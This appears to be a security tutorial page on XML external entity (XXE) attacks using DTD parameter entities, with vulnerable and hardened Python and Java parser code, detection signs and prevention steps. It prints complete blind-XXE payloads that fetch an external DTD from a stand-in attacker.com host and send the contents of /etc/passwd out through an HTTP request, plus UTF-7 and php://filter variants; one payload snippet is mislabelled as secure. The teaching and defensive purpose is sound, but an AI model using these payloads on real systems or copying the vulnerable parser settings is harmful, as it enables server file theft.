Skip to content
🟠High8.2

Parameter Entity Exploitation

Deep dive into parameter entities in DTDs and their role in advanced XXE exploitation techniques.

CWE-611: Improper Restriction of XML External Entity ReferenceOWASP Top 10:2021 - A05: Security Misconfiguration

Overview

Parameter entities are a special type of entity that can only be referenced within DTD declarations. They are prefixed with a percent sign (%) and provide powerful capabilities that attackers leverage for advanced XXE exploitation.

Key Differences from General Entities:

  • Parameter entities use % prefix instead of &
  • Can only be referenced within DTD (not in document content)
  • Can be used to construct dynamic DTD declarations
  • Essential for blind XXE and advanced exploitation techniques

Why Parameter Entities Matter for XXE:

  1. Enable external DTD inclusion for blind XXE
  2. Allow dynamic entity construction at parse time
  3. Bypass restrictions on general entity expansion
  4. Enable out-of-band data exfiltration
  5. Can nest and chain for complex attacks

Parameter Entity Syntax

XMLparameter-entity-syntax.xml✓ Secure
1<!-- Defining a parameter entity -->
2<!ENTITY % paramEntity "entity content">
3
4<!-- Referencing a parameter entity (in DTD only) -->
5%paramEntity;
6
7<!-- External parameter entity -->
8<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
9%remote;
10
11<!-- Parameter entity with file content -->
12<!ENTITY % file SYSTEM "file:///etc/passwd">
13
14<!-- Using parameter entity to define general entity -->
15<!ENTITY % wrapper "<!ENTITY generalEntity '%file;'>">
16%wrapper;

Parameter Entity Restrictions

DTD-Only Scope: Parameter entities can only be referenced within DTD declarations, not in document content:

✅ Valid: <!ENTITY general "%param;"> (inside DTD) ❌ Invalid: <data>%param;</data> (in document content)

External Subset Requirement: Parameter entity replacement text cannot directly include other parameter entities in internal DTD subset. This restriction is bypassed by using external DTD subsets.

Nesting Limitations: Direct nesting like %entity1; inside %entity2; definition requires external DTD. This is why blind XXE typically requires fetching external DTD from attacker server.

Internal vs External DTD Subsets

XMLdtd-subsets.xml⚠️ Vulnerable
1<!-- Internal DTD subset (inline in DOCTYPE) -->
2<!DOCTYPE root [
3  <!ENTITY % param "value">
4  <!-- Cannot directly use %param; to define another entity here -->
5]>
6
7<!-- External DTD subset (referenced from DOCTYPE) -->
8<!DOCTYPE root [
9  <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
10  %remote; <!-- Fetches and processes external DTD -->
11]>
12
13<!-- evil.dtd on attacker server -->
14<!ENTITY % file SYSTEM "file:///etc/passwd">
15<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
16%eval;
17<!-- Now %file; can be used within %eval; definition -->

Parameter Entity Exploitation Chain

A typical parameter entity XXE attack follows this chain:

Step 1: Declare external parameter entity

<!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd">

Step 2: Reference it to fetch external DTD %remote;

Step 3: External DTD reads file

<!ENTITY % file SYSTEM "file:///etc/passwd">

Step 4: External DTD creates dynamic entity

<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?d=%file;'>">

Step 5: Evaluate the dynamic entity %eval;

Step 6: Trigger the exfiltration %send;

Result: File content sent to attacker server in HTTP request.

Complete Parameter Entity Attack

XMLparam-entity-attack.xml⚠️ Vulnerable
1<!-- User-submitted XML payload -->
2<?xml version="1.0" encoding="UTF-8"?>
3<!DOCTYPE root [
4  <!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd">
5  %remote;
6]>
7<root>
8  <data>test</data>
9</root>
10
11<!-- xxe.dtd hosted on attacker.com -->
12<!ENTITY % file SYSTEM "file:///etc/passwd">
13<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/log?data=%file;'>">
14%eval;
15%exfil;
16
17<!-- What happens: -->
18<!-- 1. Parser loads external DTD from attacker.com -->
19<!-- 2. %file; reads /etc/passwd -->
20<!-- 3. %eval; creates %exfil; entity with file content -->
21<!-- 4. %exfil; triggers HTTP request with file content -->
22<!-- 5. Attacker receives /etc/passwd in HTTP server logs -->

Entity Reference Encoding

Notice the use of % in parameter entity definitions. This is crucial:

Why % instead of %?

  • % is XML numeric character reference for '%'
  • Required when defining entities that contain % symbols
  • Prevents premature entity expansion during parsing

Example:

<!ENTITY % wrapper "<!ENTITY &#x25; inner 'value'>">

When %wrapper; is expanded, it becomes:

<!ENTITY % inner 'value'>

Without proper encoding:

<!ENTITY % wrapper "<!ENTITY % inner 'value'>"> ❌ Parse error

With proper encoding:

<!ENTITY % wrapper "<!ENTITY &#x25; inner 'value'>"> ✅ Correct

Vulnerable Python Code

Pythonvulnerable_parser.py⚠️ Vulnerable
1import xml.etree.ElementTree as ET
2from lxml import etree
3
4# Vulnerable: lxml with default settings
5def parse_xml_vulnerable(xml_data):
6    parser = etree.XMLParser()  # Default allows external entities
7    tree = etree.fromstring(xml_data, parser)
8    return tree
9
10# Also vulnerable: resolving entities explicitly
11def parse_xml_also_vulnerable(xml_data):
12    parser = etree.XMLParser(resolve_entities=True)  # Explicitly dangerous
13    tree = etree.fromstring(xml_data, parser)
14    return tree
15
16# Example usage that would be exploited
17xml_input = '''<?xml version="1.0"?>
18<!DOCTYPE root [
19  <!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd">
20  %remote;
21]>
22<root><data>test</data></root>'''
23
24tree = parse_xml_vulnerable(xml_input)  # Fetches external DTD

Secure Python Code

Pythonsecure_parser.py✓ Secure
1from lxml import etree
2from defusedxml.lxml import fromstring as defused_fromstring
3
4# Secure: Disable entity resolution
5def parse_xml_secure(xml_data):
6    parser = etree.XMLParser(
7        resolve_entities=False,  # Disable entity expansion
8        no_network=True,         # Disable network access
9        dtd_validation=False,    # Disable DTD validation
10        load_dtd=False          # Don't load DTD
11    )
12    tree = etree.fromstring(xml_data, parser)
13    return tree
14
15# Best practice: Use defusedxml library
16def parse_xml_best_practice(xml_data):
17    # defusedxml automatically applies security settings
18    tree = defused_fromstring(xml_data)
19    return tree
20
21# Example safe usage
22xml_input = '''<?xml version="1.0"?>
23<!DOCTYPE root [
24  <!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd">
25  %remote;
26]>
27<root><data>test</data></root>'''
28
29try:
30    tree = parse_xml_secure(xml_input)  # Will reject external entities
31except etree.XMLSyntaxError as e:
32    print(f"Blocked malicious XML: {e}")

Advanced Parameter Entity Techniques

1. Chained Parameter Entities Multiple levels of parameter entity references for complex attacks:

  • %level1; defines %level2;
  • %level2; defines %level3;
  • %level3; performs exfiltration

2. UTF-7 Encoding Bypass Use UTF-7 encoding to bypass filters:

<?xml version="1.0" encoding="UTF-7"?>

+ADw-!ENTITY % remote SYSTEM "http://evil.com/xxe.dtd"+AD4-

3. Base64 Encoding for Binary Files Use PHP's data:// wrapper for base64 encoding:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

4. Conditional Entity Definitions Define entities conditionally based on environment:

<!ENTITY % win "file:///c:/windows/win.ini"> <!ENTITY % unix "file:///etc/passwd">

Secure Java Configuration

JavaSecureXMLParser.java✓ Secure
1import javax.xml.parsers.DocumentBuilderFactory;
2import javax.xml.parsers.DocumentBuilder;
3import org.w3c.dom.Document;
4
5public class SecureXMLParser {
6    public Document parseXML(String xml) throws Exception {
7        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
8        
9        // Disable DOCTYPE declarations entirely (strongest protection)
10        factory.setFeature(
11            "http://apache.org/xml/features/disallow-doctype-decl", 
12            true
13        );
14        
15        // If DOCTYPE needed, disable external entities
16        factory.setFeature(
17            "http://xml.org/sax/features/external-general-entities", 
18            false
19        );
20        factory.setFeature(
21            "http://xml.org/sax/features/external-parameter-entities",
22            false  // Specifically blocks parameter entities
23        );
24        factory.setFeature(
25            "http://apache.org/xml/features/nonvalidating/load-external-dtd",
26            false
27        );
28        
29        // Additional security settings
30        factory.setXIncludeAware(false);
31        factory.setExpandEntityReferences(false);
32        
33        DocumentBuilder builder = factory.newDocumentBuilder();
34        return builder.parse(new ByteArrayInputStream(xml.getBytes()));
35    }
36}

Detecting Parameter Entity Attacks

Code Review Indicators:

  • XML parsers without explicit external entity controls
  • Resolving entities enabled (resolve_entities=True)
  • Missing security features in parser configuration
  • DTD processing not explicitly disabled

Runtime Detection:

  • Outbound HTTP/DNS requests from XML parser processes
  • Connections to unexpected external hosts during XML processing
  • DNS queries with unusual subdomains during parsing
  • Error messages mentioning external entity loading

Testing Approach:

  1. Submit XML with external parameter entity reference
  2. Monitor for outbound connections to test server
  3. Check if external DTD is fetched
  4. Attempt file exfiltration via parameter entities
  5. Test error-based parameter entity techniques

Prevention Best Practices

  1. Disable External Parameter Entities: Explicitly set external-parameter-entities feature to false
  2. Disable DOCTYPE: Disallow DOCTYPE declarations entirely if not needed
  3. Use Secure Parsers: Leverage libraries like defusedxml (Python), configure secure features (Java/.NET)
  4. Input Validation: Reject XML containing DOCTYPE or <!ENTITY declarations
  5. Network Controls: Block outbound connections from XML processing servers
  6. Regular Updates: Keep XML parsing libraries up to date
  7. Defense in Depth: Combine multiple protective measures
  8. Static Analysis: Use tools to detect insecure XML parser configurations